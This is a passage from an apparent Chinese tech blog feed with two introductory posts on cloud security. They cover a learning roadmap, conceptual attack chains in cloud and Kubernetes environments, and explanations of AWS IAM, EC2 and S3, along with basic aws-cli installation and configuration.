↓</span><br><span class="line">云账号</span><br><span class="line">  ↓</span><br><span class="line">云资源</span><br><span class="line">  ↓</span><br><span class="line">业务系统</span><br></pre></td></tr></tbody></table></figure><p>这带来了效率提升，也带来了新的安全问题。</p><p>以前，一个配置错误可能只影响一台服务器；而在云环境中，一个高权限访问密钥泄露，可能影响整个云账号下的所有资源。</p><p>这就是云安全出现的背景。</p><p>云安全的本质并不是“保护云服务器”这么简单，而是保护云环境中的身份、权限、资源和数据。</p><h2 id="什么是云安全"><a href="#什么是云安全" class="headerlink" title="什么是云安全"></a>什么是云安全</h2><p>可以先给出一个简单定义：</p><blockquote><p>云安全是指在云计算环境中，对云平台、云资源、身份权限、网络边界、数据存储、容器编排和自动化部署流程进行保护的一系列安全技术和管理方法。</p></blockquote><p>这个定义比较长，可以拆开理解。</p><p>云安全至少包括几个核心对象。</p><h3 id="云平台安全"><a href="#云平台安全" class="headerlink" title="云平台安全"></a>云平台安全</h3><p>云平台是云安全的基础环境。</p><p>常见云平台包括 AWS、Azure、Google Cloud、阿里云、腾讯云、华为云等。</p><p>在这些平台中，用户可以创建：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">云服务器</span><br><span class="line">对象存储</span><br><span class="line">云数据库</span><br><span class="line">负载均衡</span><br><span class="line">VPC 网络</span><br><span class="line">容器集群</span><br><span class="line">函数计算</span><br><span class="line">日志服务</span><br><span class="line">密钥管理服务</span><br></pre></td></tr></tbody></table></figure><p>这些资源不再是传统意义上的“单台服务器”，而是由云平台统一管理的服务。</p><p>因此，安全边界也发生了变化。</p><p>传统安全中，我们可能重点关注某台服务器的端口、进程和系统漏洞；而云安全中，还必须关注云账号、访问密钥、权限策略、资源暴露面和云服务配置。</p><h3 id="身份与权限安全"><a href="#身份与权限安全" class="headerlink" title="身份与权限安全"></a>身份与权限安全</h3><p>身份权限是云安全中最核心的部分之一。</p><p>在传统服务器环境中，权限问题通常体现为：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">普通用户能否提权到 root</span><br></pre></td></tr></tbody></table></figure><p>而在云环境中，权限问题变成了：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">某个用户、角色或访问密钥能操作哪些云资源</span><br></pre></td></tr></tbody></table></figure><p>例如，一个云访问密钥可能拥有以下权限：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">读取对象存储</span><br><span class="line">创建云服务器</span><br><span class="line">管理数据库</span><br><span class="line">修改安全组</span><br><span class="line">创建新的 IAM 用户</span><br><span class="line">绑定管理员策略</span><br></pre></td></tr></tbody></table></figure><p>如果这个密钥泄露，攻击者不一定需要拿到服务器 root 权限，也可能直接通过云 API 控制大量资源。</p><p>所以在云安全中，一个非常重要的原则是最小权限原则。</p><p>也就是：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">一个身份只应该拥有完成工作所必需的最小权限</span><br></pre></td></tr></tbody></table></figure><p>这和传统 CTF 中“找到漏洞拿 flag”的思路不同。云安全更强调权限设计、权限收敛和权限审计。</p><h3 id="云资源配置安全"><a href="#云资源配置安全" class="headerlink" title="云资源配置安全"></a>云资源配置安全</h3><p>云环境中大量安全事件并不是来自复杂漏洞，而是来自配置错误。</p><p>例如：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">对象存储桶被设置为公开读</span><br><span class="line">数据库暴露在公网</span><br><span class="line">安全组开放 0.0.0.0/0 的高危端口</span><br><span class="line">访问密钥长期未轮换</span><br><span class="line">日志审计未开启</span><br><span class="line">Kubernetes API Server 暴露公网</span><br></pre></td></tr></tbody></table></figure><p>这些问题看起来并不“高级”，但在真实环境中非常危险。</p><p>传统 CTF 往往强调漏洞利用技巧，而云安全中的很多问题来自资源配置和权限治理。</p><p>因此，云安全工程师需要具备一种不同的视角：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">不仅要知道系统能不能被打穿，</span><br><span class="line">还要知道系统为什么会暴露、权限为什么过大、配置为什么不合理。</span><br></pre></td></tr></tbody></table></figure><h3 id="云原生安全"><a href="#云原生安全" class="headerlink" title="云原生安全"></a>云原生安全</h3><p>现代云环境通常不仅仅运行虚拟机，还会大量使用 Docker、Kubernetes、微服务和 CI/CD。</p><p>这部分通常被称为云原生安全。</p><p>典型对象包括：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Docker 镜像</span><br><span class="line">容器运行时</span><br><span class="line">Kubernetes 集群</span><br><span class="line">Service Account</span><br><span class="line">RBAC 权限</span><br><span class="line">Ingress</span><br><span class="line">Secret</span><br><span class="line">CI/CD Pipeline</span><br><span class="line">镜像仓库</span><br></pre></td></tr></tbody></table></figure><p>例如，在 Kubernetes 中，一个 Pod 内部可能挂载了 Service Account Token。如果这个 Token 权限过大，攻击者在拿下容器后，就可能继续访问 Kubernetes API，从而横向移动到整个集群。</p><p>攻击路径可能是：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Web 漏洞</span><br><span class="line">  ↓</span><br><span class="line">进入容器</span><br><span class="line">  ↓</span><br><span class="line">读取 Service Account Token</span><br><span class="line">  ↓</span><br><span class="line">访问 Kubernetes API</span><br><span class="line">  ↓</span><br><span class="line">获取 Secret</span><br><span class="line">  ↓</span><br><span class="line">控制更多服务</span><br></pre></td></tr></tbody></table></figure><p>这类攻击链已经不是传统 CTF 中单点漏洞利用的思路，而是云原生环境下的身份、权限和资源控制问题。</p><h2 id="云安全与传统安全的关系"><a href="#云安全与传统安全的关系" class="headerlink" title="云安全与传统安全的关系"></a>云安全与传统安全的关系</h2><p>很多人在刚接触云安全时都会有一个误区：</p><blockquote><p>云安全是不是一种新的安全方向？</p></blockquote><p>我现在更倾向于认为：</p><blockquote><p>云安全不是替代传统安全，而是在云时代对传统安全的扩展。</p></blockquote><p>我们熟悉的很多攻击技术依然存在。</p><p>例如：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">SQL注入</span><br><span class="line"></span><br><span class="line">XSS</span><br><span class="line"></span><br><span class="line">SSRF</span><br><span class="line"></span><br><span class="line">命令执行</span><br><span class="line"></span><br><span class="line">权限绕过</span><br></pre></td></tr></tbody></table></figure><p>这些漏洞不会因为系统部署在云上而消失。</p><p>区别在于：</p><p>这些漏洞不再是终点。</p><p>而是进入云环境的入口。</p><p>以前：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">漏洞</span><br><span class="line">    ↓</span><br><span class="line">服务器</span><br></pre></td></tr></tbody></table></figure><p>今天：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">漏洞</span><br><span class="line">    ↓</span><br><span class="line">服务器</span><br><span class="line">    ↓</span><br><span class="line">云身份</span><br><span class="line">    ↓</span><br><span class="line">云资源</span><br></pre></td></tr></tbody></table></figure><p>因此对于安全从业者来说：</p><p>学习云安全并不是放弃过去学过的内容。</p><p>而是在已有安全基础之上，进一步理解云环境中的身份、权限和资源之间的关系。</p><h2 id="云安全知识地图"><a href="#云安全知识地图" class="headerlink" title="云安全知识地图"></a>云安全知识地图</h2><p>在引言部分提到的，这是一份非常有价值的云安全知识库：</p><p><a href="https://github.com/teamssix/awesome-cloud-security?utm_source=chatgpt.com">awesome-cloud-security</a></p><p>从整个知识库的结构中，可以大致看到云安全的主要组成部分：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">云安全</span><br><span class="line">│</span><br><span class="line">├── 云平台基础</span><br><span class="line">│</span><br><span class="line">├── 身份与权限安全</span><br><span class="line">│</span><br><span class="line">├── 网络与边界安全</span><br><span class="line">│</span><br><span class="line">├── 对象存储安全</span><br><span class="line">│</span><br><span class="line">├── 云原生安全</span><br><span class="line">│   ├── Docker</span><br><span class="line">│   └── Kubernetes</span><br><span class="line">│</span><br><span class="line">├── 云攻防</span><br><span class="line">│</span><br><span class="line">└── 安全运营与审计</span><br></pre></td></tr></tbody></table></figure><p>它既包含传统安全内容，也包含云计算、容器、Kubernetes 和自动化运维相关知识。</p><p>因此学习云安全的过程，本质上是在补齐现代基础设施的认知。</p><h2 id="我的后续学习路线"><a href="#我的后续学习路线" class="headerlink" title="我的后续学习路线"></a>我的后续学习路线</h2><p>其实是去问GPT后续的学习方向的，这里也说出来，给大家一个参考，也可以根据我的学习成果判断这个思路可不可行，但是我学的可能比较慢（拖延症晚期）</p><h3 id="第一阶段：建立云安全认知"><a href="#第一阶段：建立云安全认知" class="headerlink" title="第一阶段：建立云安全认知"></a>第一阶段：建立云安全认知</h3><p>这一阶段的目标不是学习具体技术，而是建立整体视角。</p><p>重点需要解决的问题包括：</p><ul><li>云安全为什么会出现</li><li>云安全与传统安全的区别是什么</li><li>云环境中的攻击目标发生了哪些变化</li><li>云安全领域主要包含哪些方向</li></ul><p>在这一阶段，需要建立一个核心认知：</p><p>过去的安全边界主要围绕服务器和应用系统展开，而在云环境中，安全边界已经扩展到了身份、权限和云资源本身。</p><p>对于攻击者而言，服务器往往不再是最终目标，而只是进入云环境的入口。</p><hr><h3 id="第二阶段：从攻击者视角理解云平台"><a href="#第二阶段：从攻击者视角理解云平台" class="headerlink" title="第二阶段：从攻击者视角理解云平台"></a>第二阶段：从攻击者视角理解云平台</h3><p>在这一阶段，不追求掌握完整的云平台知识，而是只关注后续攻防过程中最常接触的核心资源。</p><p>重点理解：</p><ul><li>云服务器是什么</li><li>对象存储是什么</li><li>虚拟网络是什么</li><li>身份权限体系是什么</li></ul><p>以及这些资源在攻击者眼中的意义。</p><p>例如：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">EC2 ≈ 服务器</span><br><span class="line"></span><br><span class="line">S3 ≈ 文件系统</span><br><span class="line"></span><br><span class="line">IAM ≈ 权限系统</span><br><span class="line"></span><br><span class="line">VPC ≈ 云内网</span><br><span class="line"></span><br><span class="line">Security Group ≈ 云防火墙</span><br></pre></td></tr></tbody></table></figure><p>这一阶段最重要的任务不是阅读文档，而是亲手创建资源。</p><p>需要能够独立完成：</p><ul><li>创建云服务器</li><li>配置安全组</li><li>创建对象存储</li><li>创建云用户</li><li>创建访问密钥</li></ul><p>通过实际操作理解云资源之间的关系。</p><p>完成这一阶段之后，应当能够回答：</p><blockquote><p>攻击者拿下一台云服务器之后，理论上还能够接触到哪些云资源？</p></blockquote><p>如果说传统安全中最重要的是系统权限，那么云安全中最重要的则是身份权限体系。</p><p>这一阶段主要围绕 IAM 展开。</p><p>重点内容包括：</p><ul><li>User</li><li>Role</li><li>Policy</li><li>Access Key</li><li>临时凭证</li><li>最小权限原则</li></ul><p>学习目标并不是记忆各种策略语法，而是理解：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">一个身份是谁</span><br><span class="line"></span><br><span class="line">能够访问什么资源</span><br><span class="line"></span><br><span class="line">为什么能够访问</span><br><span class="line"></span><br><span class="line">如何扩大权限</span><br></pre></td></tr></tbody></table></figure><p>这一阶段结束之后，应当能够回答：</p><blockquote><p>如果攻击者获得一个云身份，他如何判断自己还能控制哪些资源？</p></blockquote><p>以及：</p><blockquote><p>为什么很多云安全事故并不依赖漏洞，而是来源于权限设计问题？</p></blockquote><p>这也是进入云攻防之前最重要的准备阶段。</p><hr><h3 id="第三阶段：正式进入云攻防"><a href="#第三阶段：正式进入云攻防" class="headerlink" title="第三阶段：正式进入云攻防"></a>第三阶段：正式进入云攻防</h3><p>完成前面两个阶段之后，就可以开始研究真实的云攻击面。</p><p>这一阶段的核心目标是：</p><p>从“获取服务器权限”的思维，转变为“获取云资源控制权”的思维。</p><p>重点研究内容包括：</p><ul><li>云环境信息收集</li><li>Access Key 泄露</li><li>Metadata 服务</li><li>SSRF 云攻击链</li><li>IAM 权限枚举</li><li>IAM 权限提升</li><li>对象存储攻击</li><li>云资源横向移动</li></ul><p>在这一阶段，需要逐步建立一条完整的云攻击链认知：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Web漏洞</span><br><span class="line">    ↓</span><br><span class="line">服务器权限</span><br><span class="line">    ↓</span><br><span class="line">云身份</span><br><span class="line">    ↓</span><br><span class="line">权限枚举</span><br><span class="line">    ↓</span><br><span class="line">资源控制</span><br></pre></td></tr></tbody></table></figure><p>与传统渗透测试相比，云攻防最大的变化在于：</p><p>攻击者往往不再以服务器为终点，而是将服务器作为进入云环境的跳板。</p><hr><h3 id="第四阶段：云原生安全"><a href="#第四阶段：云原生安全" class="headerlink" title="第四阶段：云原生安全"></a>第四阶段：云原生安全</h3><p>在掌握基础云攻防之后，再进入容器与 Kubernetes 安全领域。</p><p>原因在于：</p><p>现代云环境中的大量业务已经运行在 Docker 和 Kubernetes 之上。</p><p>此时需要补充的内容包括：</p><ul><li>Docker 基础</li><li>容器安全模型</li><li>Kubernetes 基础架构</li><li>Service Account</li><li>RBAC</li><li>Secret 管理</li><li>Kubernetes 攻击链</li></ul><p>这一阶段的重点不再是单个漏洞，而是理解容器和集群中的身份与权限流转过程。</p><p>很多现代云攻击链实际上都发生在 Kubernetes 环境中，因此云原生安全是后续必须补齐的部分。</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/Cloud-Security00/</id>
    <link href="https://blog.btop251.top/Cloud-Security/Cloud-Security00/"/>
    <published>2026-05-31T00:00:00.000Z</published>
    <summary>该学点新东西了，先开个头</summary>
    <title>云安全00</title>
    <updated>2026-05-31T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="AWS相关概念阐述"><a href="#AWS相关概念阐述" class="headerlink" title="AWS相关概念阐述"></a>AWS相关概念阐述</h1><p><strong>AWS</strong> 是 <strong>Amazon Web Services</strong> 的缩写，中文译为“亚马逊云服务”。它是全球市场份额最大、最全面且应用最广泛的云平台。</p><p>简单来说，AWS 让你不需要自己购买、拥有和维护实体服务器（硬件）或数据中心，就能通过互联网按需获取计算能力、存储空间、数据库等 IT 资源。</p><p>AWS不是服务器。</p><p>AWS更像：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">资源管理平台</span><br></pre></td></tr></tbody></table></figure><p>里面有：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">服务器</span><br><span class="line">存储</span><br><span class="line">网络</span><br><span class="line">身份</span><br><span class="line">权限</span><br></pre></td></tr></tbody></table></figure><p>各种资源。</p><p>所以真正的结构应该是：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">AWS Account</span><br><span class="line">│</span><br><span class="line">├── IAM（身份于权限）</span><br><span class="line">│</span><br><span class="line">├── EC2（服务器）</span><br><span class="line">│</span><br><span class="line">├── S3（存储）</span><br><span class="line">│</span><br><span class="line">└── VPC（网络）</span><br></pre></td></tr></tbody></table></figure><p>这里第一次出现一个概念：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AWS Account</span><br></pre></td></tr></tbody></table></figure><hr><h2 id="AWS-Account"><a href="#AWS-Account" class="headerlink" title="AWS Account"></a>AWS Account</h2><p>这是整个AWS世界的根节点。</p><p>可以理解成：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">你的云公司</span><br></pre></td></tr></tbody></table></figure><p>你创建的所有东西：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">EC2</span><br><span class="line">S3</span><br><span class="line">IAM</span><br><span class="line">VPC</span><br></pre></td></tr></tbody></table></figure><p>全部属于：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">同一个Account</span><br></pre></td></tr></tbody></table></figure><p>所以后面攻击者最喜欢看到：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Account ID</span><br></pre></td></tr></tbody></table></figure><p>因为这代表：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">目标云环境</span><br></pre></td></tr></tbody></table></figure><h2 id="IAM（Identity-And-Access-Management）"><a href="#IAM（Identity-And-Access-Management）" class="headerlink" title="IAM（Identity And Access Management）"></a>IAM（Identity And Access Management）</h2><p>身份与权限管理</p><p>它能决定<strong>谁能访问什么资源</strong></p><table><thead><tr><th align="left">概念</th><th align="left">说明</th><th align="left">通俗理解</th></tr></thead><tbody><tr><td align="left"><strong>用户</strong></td><td align="left">代表一个<strong>人或应用程序</strong>，可以登录或调用 API</td><td align="left">具体的人，如“张三”、“运维机器人”</td></tr><tr><td align="left"><strong>组</strong></td><td align="left">一组用户的集合，可以统一授予权限</td><td align="left">按部门分组，如“开发组”、“财务组”</td></tr><tr><td align="left"><strong>角色</strong></td><td align="left">通常给<strong>AWS 服务</strong>或<strong>临时身份</strong>使用，不绑定长期密码/密钥</td><td align="left">一种“临时工牌”，谁需要就谁借用</td></tr><tr><td align="left"><strong>策略</strong></td><td align="left">用 JSON 格式编写的<strong>权限规则文档</strong>，定义允许/拒绝哪些操作</td><td align="left">“允许对 S3 的 my-bucket 进行读取操作”</td></tr><tr><td align="left"><strong>身份提供商</strong></td><td align="left">允许使用外部身份登录 AWS（如公司 AD、Google、Facebook）</td><td align="left">“刷工牌也能进 AWS 大门”</td></tr></tbody></table><h3 id="IAM-与其他概念的关系"><a href="#IAM-与其他概念的关系" class="headerlink" title="IAM 与其他概念的关系"></a>IAM 与其他概念的关系</h3><ul><li><strong>与“AWS 主账号”的关系</strong>：主账号拥有最高权限，日常操作<strong>强烈不建议</strong>使用主账号，应创建 IAM 用户使用</li><li><strong>与其他 AWS 服务的关系</strong>：几乎所有 AWS 服务都需要通过 IAM 进行权限检查，没有 IAM 授权就无法访问任何资源</li></ul><p><strong>一句话总结：IAM 是 AWS 安全的基石——谁、能做什么、对什么资源做，完全由它控制。</strong></p><h2 id="EC2-Elastic-Compute-Cloud"><a href="#EC2-Elastic-Compute-Cloud" class="headerlink" title="EC2(Elastic Compute Cloud)"></a>EC2(Elastic Compute Cloud)</h2><p>指的就是<strong>云服务器</strong>，不过多赘述</p><h2 id="S3-Simple-Storage-Service"><a href="#S3-Simple-Storage-Service" class="headerlink" title="S3(Simple Storage Service)"></a>S3(Simple Storage Service)</h2><p>对象存储（Object-Based Storage），也可以叫做面向对象的存储，现在也有不少厂商直接把它叫做云存储。</p><p>说到对象存储就不得不提 Amazon，**Amazon S3 **(Simple Storage Service) 简单存储服务，是 Amazon 的公开云存储服务，与之对应的协议被称为 S3 协议，目前 S3 协议已经被视为公认的行业标准协议，因此目前国内主流的对象存储厂商基本上都会支持 S3 协议。</p><p>在 Amazon S3 标准下中，对象存储中可以有多个桶（Bucket），然后把对象（Object）放在桶里，对象又包含了三个部分：<code>Key</code>、<code>Data</code> 和<code>Metadata</code></p><p><img src="/Cloud-Security/Cloud-Security01/Cloud-Security01.assets/1650004629.png" alt="img" loading="eager" decoding="async"></p><table><thead><tr><th align="left">概念</th><th align="left">说明</th><th align="left">通俗理解</th></tr></thead><tbody><tr><td align="left"><strong>存储桶</strong></td><td align="left">存储对象的容器，相当于顶级文件夹。桶名在 AWS 中<strong>全局唯一</strong></td><td align="left">你的“云上根目录”</td></tr><tr><td align="left"><strong>对象</strong></td><td align="left">你存储的<strong>文件</strong> + 相关的<strong>元数据</strong>（如文件名、大小、修改时间等）</td><td align="left">你上传的“一张照片”</td></tr><tr><td align="left"><strong>键</strong></td><td align="left">对象的<strong>唯一标识符</strong>，相当于文件路径+文件名</td><td align="left"><code>photos/2025/myfile.jpg</code></td></tr><tr><td align="left"><strong>区域</strong></td><td align="left">存储桶所在的 AWS 数据中心位置。选择靠近用户的区域可降低延迟</td><td align="left">如美国东部、亚太东京</td></tr><tr><td align="left"><strong>版本控制</strong></td><td align="left">保留同一对象的多个历史版本，可防止误删或覆盖</td><td align="left">“回收站 + 历史版本记录”</td></tr><tr><td align="left"><strong>存储类别</strong></td><td align="left">根据访问频率和成本选择不同层级（见下表）</td><td align="left">热数据、冷数据、归档</td></tr></tbody></table><h3 id="典型使用场景"><a href="#典型使用场景" class="headerlink" title="典型使用场景"></a>典型使用场景</h3><ul><li><strong>静态网站托管</strong>：将 HTML/CSS/JS/图片直接放在 S3 桶中，开启静态网站功能即可低成本运行一个网站（无需服务器）。</li><li><strong>数据备份与灾难恢复</strong>：数据库备份、系统日志、重要文档等自动上传到 S3，利用其 99.999999999%（11个9）的持久性保证安全。</li><li><strong>大数据分析</strong>：将海量日志或原始数据存放在 S3，然后使用 Athena、EMR、Redshift 等服务直接分析 S3 中的数据。</li><li><strong>内容分发与 CDN 源站</strong>：将 S3 作为源站，配合 CloudFront（AWS 的 CDN 服务）加速全球分发。</li><li><strong>应用程序存储</strong>：用户上传的头像、文件、附件等存储在 S3。</li><li><strong>数据湖</strong>：作为企业数据湖的中心存储，集中存放结构化/非结构化数据。</li></ul><h3 id="与其他-AWS-服务的关系"><a href="#与其他-AWS-服务的关系" class="headerlink" title="与其他 AWS 服务的关系"></a>与其他 AWS 服务的关系</h3><ul><li><strong>与 IAM</strong>：通过 IAM 策略控制谁可以访问哪个桶/哪个对象</li><li><strong>与 EC2</strong>：EC2 虚拟机可将 S3 作为数据盘、备份目标或应用存储</li><li><strong>与 CloudFront</strong>：CDN 从 S3 拉取内容加速全球分发</li><li><strong>与 Lambda</strong>：对象上传时触发 Lambda 函数进行处理（如自动生成缩略图）</li><li><strong>与 Athena</strong>：直接在 S3 上运行 SQL 查询分析数据（如 CSV、JSON 日志）</li></ul><p><strong>一句话总结：S3 是 AWS 的海量、高持久、低成本对象存储服务，几乎任何需要存文件或数据的场景都可以用它，是 AWS 生态中最重要的基础组件之一。</strong></p><h2 id="aws-cli"><a href="#aws-cli" class="headerlink" title="aws-cli"></a>aws-cli</h2><p><strong>AWS CLI</strong>（Amazon Web Services Command Line Interface）是 AWS 官方提供的<strong>命令行工具</strong>，让你可以在终端中直接管理和操作 AWS 的各种资源（S3、EC2、IAM 等），而不需要通过浏览器登录控制台。一般的云渗透往往也是采用这一类命令行工具</p><h3 id="核心特点"><a href="#核心特点" class="headerlink" title="核心特点"></a>核心特点</h3><table><thead><tr><th align="left">特点</th><th align="left">说明</th></tr></thead><tbody><tr><td align="left"><strong>统一命令格式</strong></td><td align="left">所有服务都遵循 <code>aws &lt;服务&gt; &lt;操作&gt;</code> 的模式</td></tr><tr><td align="left"><strong>脚本化</strong></td><td align="left">可以写成 Shell 脚本批量执行，实现自动化运维</td></tr><tr><td align="left"><strong>跨平台</strong></td><td align="left">支持 Windows、Linux、macOS</td></tr><tr><td align="left"><strong>两种版本</strong></td><td align="left">v1（旧版，Python 编写）、v2（新版，性能更好，推荐）</td></tr><tr><td align="left"><strong>输出格式</strong></td><td align="left">支持 JSON、YAML、文本、表格等多种格式</td></tr></tbody></table><h3 id="核心工作流程"><a href="#核心工作流程" class="headerlink" title="核心工作流程"></a>核心工作流程</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws &lt;服务名称&gt; &lt;操作名称&gt; [参数和选项]</span><br></pre></td></tr></tbody></table></figure><p><strong>实际例子</strong>：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 语法分解</span></span><br><span class="line">aws s3 <span class="built_in">ls</span>                    <span class="comment"># s3=服务, ls=列出存储桶</span></span><br><span class="line">aws ec2 describe-instances   <span class="comment"># ec2=服务, describe-instances=列出实例</span></span><br><span class="line">aws iam list-users           <span class="comment"># iam=服务, list-users=列出用户</span></span><br></pre></td></tr></tbody></table></figure><h3 id="安装与配置"><a href="#安装与配置" class="headerlink" title="安装与配置"></a>安装与配置</h3><h4 id="1-安装（Ubuntu）"><a href="#1-安装（Ubuntu）" class="headerlink" title="1. 安装（Ubuntu）"></a>1. 安装（Ubuntu）</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 推荐方式：snap 安装</span></span><br><span class="line"><span class="built_in">sudo</span> snap install aws-cli --classic</span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证安装</span></span><br><span class="line">aws --version</span><br></pre></td></tr></tbody></table></figure><h4 id="2-配置凭证"><a href="#2-配置凭证" class="headerlink" title="2. 配置凭证"></a>2. 配置凭证</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aws configure</span><br></pre></td></tr></tbody></table></figure><p>系统会依次提示输入：</p><table><thead><tr><th align="left">提示</th><th align="left">说明</th><th align="left">示例</th></tr></thead><tbody><tr><td align="left"><code>AWS Access Key ID</code></td><td align="left">IAM 用户的访问密钥 ID</td><td align="left"><code>AKIA...</code></td></tr><tr><td align="left"><code>AWS Secret Access Key</code></td><td align="left">IAM 用户的秘密访问密钥</td><td align="left"><code>xxxxx</code></td></tr><tr><td align="left"><code>Default region name</code></td><td align="left">默认操作的区域</td><td align="left"><code>ap-southeast-1</code></td></tr><tr><td align="left"><code>Default output format</code></td><td align="left">输出格式</td><td align="left"><code>json</code></td></tr></tbody></table><h4 id="3-配置文件位置"><a href="#3-配置文件位置" class="headerlink" title="3. 配置文件位置"></a>3. 配置文件位置</h4><p>配置信息保存在两个文件中：</p><table><thead><tr><th align="left">文件</th><th align="left">路径</th><th align="left">内容</th></tr></thead><tbody><tr><td align="left">凭证文件</td><td align="left"><code>~/.aws/credentials</code></td><td align="left">Access Key ID 和 Secret Key</td></tr><tr><td align="left">配置文件</td><td align="left"><code>~/.aws/config</code></td><td align="left">region 和 output format</td></tr></tbody></table><h3 